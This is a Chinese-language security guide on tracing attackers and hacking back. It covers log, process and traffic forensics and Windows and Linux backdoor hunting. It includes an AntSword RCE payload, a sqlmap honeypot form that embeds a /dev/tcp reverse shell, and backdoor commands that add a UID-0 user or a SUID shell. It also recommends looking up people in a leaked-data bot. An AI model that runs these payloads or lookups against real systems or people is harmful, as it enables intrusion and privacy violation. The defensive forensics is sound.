溯源反制思路整合

  • 0x01反制的整体思路
  • 0x02 反制具体思路
  • 0x0201 反制主机
  • 0x0202 反制后门附件
  • 0x0203 反制攻击工具
  • 0x03 拿下傀儡机之后如何进行源IP的查找
  • 0x0301 日志分析
  • 0x0302 进程分析
  • 0x0303 流量分析
  • 0x0304 服务查询
  • 0x0305 其他技巧
  • 通用
  • 0x04 溯源相关思路
  • 根据IP进行溯源
  • 根据域名进行溯源
  • 根据ID溯源
  • 根据病毒源码细节溯源
  • 通过手机号码溯源
  • 总结

0x01反制的整体思路

反入侵得到攻击者机器权限 -> 入侵现场还原,摸清入侵思路 -> 并且须知入侵者的相关后门遗留,以便处理后门 -> 抓取入侵者的真实IP获得地理位置 -> 并按照攻击者的攻击路线加固相关漏洞安全。

0x02 反制具体思路

0x0201 反制主机

傀儡机一般都是具有漏洞的主机,可以使用常规渗透测试的手段进行攻击,这个操作就非常广了,在这里不过多赘述。

0x0202 反制后门附件

  1. 对附件进行逆向分析,得到C2地址,然后对目标ip进行渗透攻击。
  2. 有些钓鱼邮件头中,没有对源地址进行伪装,那么就有可能获取到源IP或者域名

  1. 留下的后门中有对自己的teamserver回传数据,可以通过分析后门,或者查看后门源码得知。

0x0203 反制攻击工具

倘若对方使用带有漏洞版本的攻击工具例如蚁剑、AWVS等,这时候可以使用RCE攻击对其进行反控,高版本蚁剑上此漏洞已经被修复。已知有漏洞的工具版本:

  1. 蚁剑 <=2.0.7可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/147
  2. 被发现另外一枚可以RCE的漏洞 https://github.com/AntSwordProject/antSword/issues/150
  3. Payload:
if(strlen($_POST[1]) == 153){
    preg_match_all('/echo "(\w+)";/i', $_POST[1], $mat);

    $profix = $mat[1][0];
    $suffix = $mat[1][1];
    echo $profix;?>
    

  
    
    Hello World!
  
  
    
Hello World!

    
This window does not have access to node bindings.

    
process: document.write(process)

    <br>      window.open('data:text/html,But this one does! <br><pre>process.cwd(): <script>document.write(process.cwd());const {spawn} = require("child_process");spawn("open",["/Applications/Calculator.app"]);</scr'+'ipt></pre>');<br>    
  

        echo $suffix;
}else{
    eval($_POST[1]);
}
  1. awvs 10直接利用exp,等待对方扫描自己,即刻上线。exp下载地址:https://github.com/dzonerzy/acunetix_0day
  2. cobalt strike
  3. 3.5版本teamserver有RCE漏洞
  4. 可以爆破teamserver密码,然后得到黑客攻击的其他傀儡机。
  5. exp利用地址:https://github.com/ryanohoro/csbruter
  6. sqlmap构造特殊的get或者post注入点来等待攻击者使用sqlmap扫描,例如下图,将get请求中的一个参数的值设置为lsl,倘若直接改成反弹shell的代码即可反控对方机器。
  7. post利用方式:
<html>
<head>
<title> A sqlmap honeypot demotitle>
head>
<body>
<input>search the userinput>
<form id="myForm" action="username.html" method="post" enctype="text/plain">
<input type='hidden' name='name'value='Robin&id=4567&command=shell`bash -i >&/dev/tcp/192.168.xxx.xxx/2333 0>&1`&port=1234'/>
<input type="button"οnclick="myForm.submit()" value="Submit">
form>
body>
html>

0x03 拿下傀儡机之后如何进行源IP的查找

一般拿到傀儡机之后,就需要查找下一步攻击者的信息了,当然攻击者也很有可能搭建socks代理来攻击,但是还是有可能会发现真实攻击者的蛛丝马迹的。

0x0301 日志分析

01 Web日志分析

Nginx,Apache,IIS,Tomcat

可以查看分析攻击者的IP,访问的UA

可以grep木马页面筛选攻击者IP,

查看日志中某个路径访问最多的10个IP

cat gitsort.log | grep "/language/HTML" | cut -d ' ' -f 1 | sort | uniq -c | sort -nr | head -n 10

02 系统日志分析

可以看到访问者的IP

Windows

日志路径:C:\Windows\System32\winevt\Logs必看日志:Security.evtx、System.evtx、Application.evtx

Linux

  1. 日志路径:/var/log必看日志:secure、history
/var/log/boot.log:录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息
/var/log/lastlog :记录最后一次用户成功登陆的时间、登陆IP等信息
/var/log/messages :记录Linux操作系统常见的系统和服务错误信息
/var/log/secure :Linux系统安全日志,记录用户和工作组变坏情况、用户登陆认证情况
/var/log/btmp :记录Linux登陆失败的用户、时间以及远程IP地址
/var/log/syslog:只记录警告信息,常常是系统出问题的信息,使用lastlog查看
/var/log/wtmp:该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看
/var/run/utmp:该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件
/var/log/syslog 或 /var/log/messages 存储所有的全局系统活动数据,包括开机信息。基于 Debian 的系统如 Ubuntu 在 /var/log/syslog 中存储它们,而基于 RedHat 的系统如 RHEL 或 CentOS 则在 /var/log/messages 中存储它们。
/var/log/auth.log 或 /var/log/secure 存储来自可插拔认证模块(PAM)的日志,包括成功的登录,失败的登录尝试和认证方式。Ubuntu 和 Debian 在 /var/log/auth.log 中存储认证信息,而 RedHat 和 CentOS 则在 /var/log/secure 中存储该信息。
  1. lastlog 查看最后登陆日志
  2. 查看 /var/log/secure日志
  3. history命令
  4. 查看历史命令记录,运气好的话可以获得比较关键的信息

0x0302 进程分析

Windows

  1. tasklist
  2. 查看进程列表,eg:tasklist | find "16376"进一步查看16376进程的具体信息。
  3. WMIC扩展WMI(Windows Management Instrumentation,Windows管理规范) ,提供了从命令行接口和批命令脚本执行系统管理的支持。C:\users\fengxuan>wmic
  4. wmic:root\cli>
  5. 这时,在命令行再输入process, 就可以查看完整的进程信息了。
  6. windows的任务管理器是很好的进程查看工具,当然大家还可以使用一些其他工具,比如Kernel Detective 来帮助你检测
  7. https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer

Linux

  1. ps
  2. ps aux 查看进程
  3. /proc/进程号
  4. 进程信息
  5. 在浏览 /proc 目录的时候您会发现许多目录的名称是一些数字。这些目录保存了当前系统中运行的所有进程的信息。
  6. img
  7. Top 命令,查看进程占用系统资源情况
  8. lsof命令

0x0303 流量分析

通用

netstat -an 查看网络连接netstat -na|grep ESTABLISHED 查看已经连接上的网络IPnetstat -unltp 查看进程占用的端口号 (很有用)

Windows

wireshark

fiddler

linux

tcpdump

使用命令 tcpdump -i any -c100 -nn -w /tmp/tcpdump_save.cap 将抓到的包放到wireshark中进行分析

0x0304 服务查询

Windows

常见的后门技术列表:

1、隐藏、克隆账户test$

查找方式 :需要在界面上的用户管理查看,而不是单单在命令行查看

2、shift后门

将C盘windows目录下面的system32文件里面的sethc.exe应用程序进行转移,并生成sethc.exe.bak文件。并将cmd.exe拷贝覆盖sethc.exe

查找方式 :Md5 sethc.exe 看下是不是cmd.exe 的MD5

certutil -hashfile filename MD5

3、启动项、计划任务

【启动项】

查找方式 :window--开始--所有程序--启动

【组策略欺骗】

组策略,运行gpedit.msc,通过最策略的“脚本(启动/关机)”项来说实现。

查找方式 :

具体位置在“计算机配置→Windows设置”项下。因为其极具隐蔽性,因此常常被攻击者利用来做服务器后门。

【计划任务】

查找方式 :window--开始--所有程序--附件--系统工具--任务计划程序

4、劫持技术

查找方式 :所谓的映像劫持就是Image File Execution Options(IFEO),位于注册表的 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

查找方式 :

这个注册项中有恶意的键值对就需要排查0.

5、Powershell后门

如何创建稳定的powershell backdoor https://github.com/AV1080p/Schtasks-Backdoor

查找方式 :

查看进程中是否有powershell的常驻进程

6、远控软件

Cobaltstrike, 灰鸽子。只能通过进程分析和流量分析才能找到木马。因为cs可以注入到其他进程中比如说System进程。

查找方式 :

通过任务管理器分析进程,还需要通过WSExplorer进行进程抓包。

7、嗅探技术

Cain

查找方式 :

查看进程

LInux

  1. 增加超级用户帐号
  2. echo "mx7krshell:x:0:0::/:/bin/sh" >> /etc/passwd
  3. 查找方式 :
  4. 查看 /etc/passwd 是否有UID为0的用户
  5. 破解/嗅控用户密码
  6. 查找方式 :查看进程,分析
  7. 放置SUID Shell
cp /bin/bash /dev/.rootshell
chmod u+s /dev/.rootshell

查找系统中设置了SUID权限的文件

find / -perm +4000 -exec ls -ld {} \; //查找设置了SUID权限的文件
find / -perm +6000 -exec ls -ld {} \;  //上面的-6000表示既具有suid权限又具有sgid权限的文件
  1. 利用系统服务程序
修改/etc/inetd.conf
daytime stream tcp nowait /bin/sh sh –I
用trojan程序替换in.telnetd、in.rexecd等 inted的服务程序重定向login程序
  1. 查找方式 :查看配置文件,查看文件MD5
  2. TCP/UDP/ICMP Shell
  3. Ping Backdoor,通过ICMP包激活后门, 形成一个Shell通道。TCP ACK数据包后门,能够穿越防火墙。
  4. Linux下的icmp shell后门 容易被发现
  5. http://prdownloads.sourceforge.net/icmpshell/ish-v0.2.tar.gz
  6. 这个是py版的 https://github.com/inquisb/icmpsh/blob/master/icmpsh_m.py
  7. 查找方式 :查看进程
  8. Crontab定时任务
crontab -l #查看服务

0x0305 其他技巧

  1. 查看公钥,获取攻击者电脑名
  2. 查看其他操作日志记录,比如说Openvpn

通用

查询在线登陆者

LInux:w命令

Windows:query user

进程分析得到的病毒样本,可以在https://x.threatbook.cn/ 微步进行HASH查询,https://www.virustotal.com/ 这个网站上进行查询,可以检测是否为病毒,还有可以得到病毒的C2地址。

0x04 溯源相关思路

根据IP进行溯源

  1. 微步在线
  2. https://x.threatbook.cn/
  3. https://www.virustotal.com/
  4. 搜索引擎搜索
  5. github搜索

根据域名进行溯源

  1. whois查询
  2. 备案查询
  3. 企查查/天眼查查询
  4. zoomeye/fofa查询

根据ID溯源

  1. 在搜索引擎查找
  2. 在github,gitee,开源中国中查找
  3. 在社交平台上查找,(微信/微博/linkedin/twitter)
  4. 在安全群/安全圈子里询问。

根据病毒源码细节溯源

  1. 查找代码中比较特殊的字符比如说:
  2. 在github中搜索这个特殊字符串“\x47\x4c\x4fB\x41\x4c\x53”。
  3. 查看代码中是否有请求攻击者其他主机的功能,会有IP,域名

通过手机号码溯源

1. 社交平台查询(微信/支付宝/微博/抖音)
2. 通过telegram里社工库机器人进行精准信息查询,机器人ID:@sgkmainbot
3. 查询注册过哪些网站 网站地址:https://www.reg007.com/

总结

这篇文章是我目前知道的溯源反制的所有的操作细节规范,在以后如果有新的技术出现,我也会及时的补充进去,我把这个文档放在Notion上,动态的更新,大家可以随时查看下:

https://fengxuan.notion.site/0fd37de0b16b44b9a546304ff83f82e8

这里我就放一张思维导图,大家可以在工作的时候参考。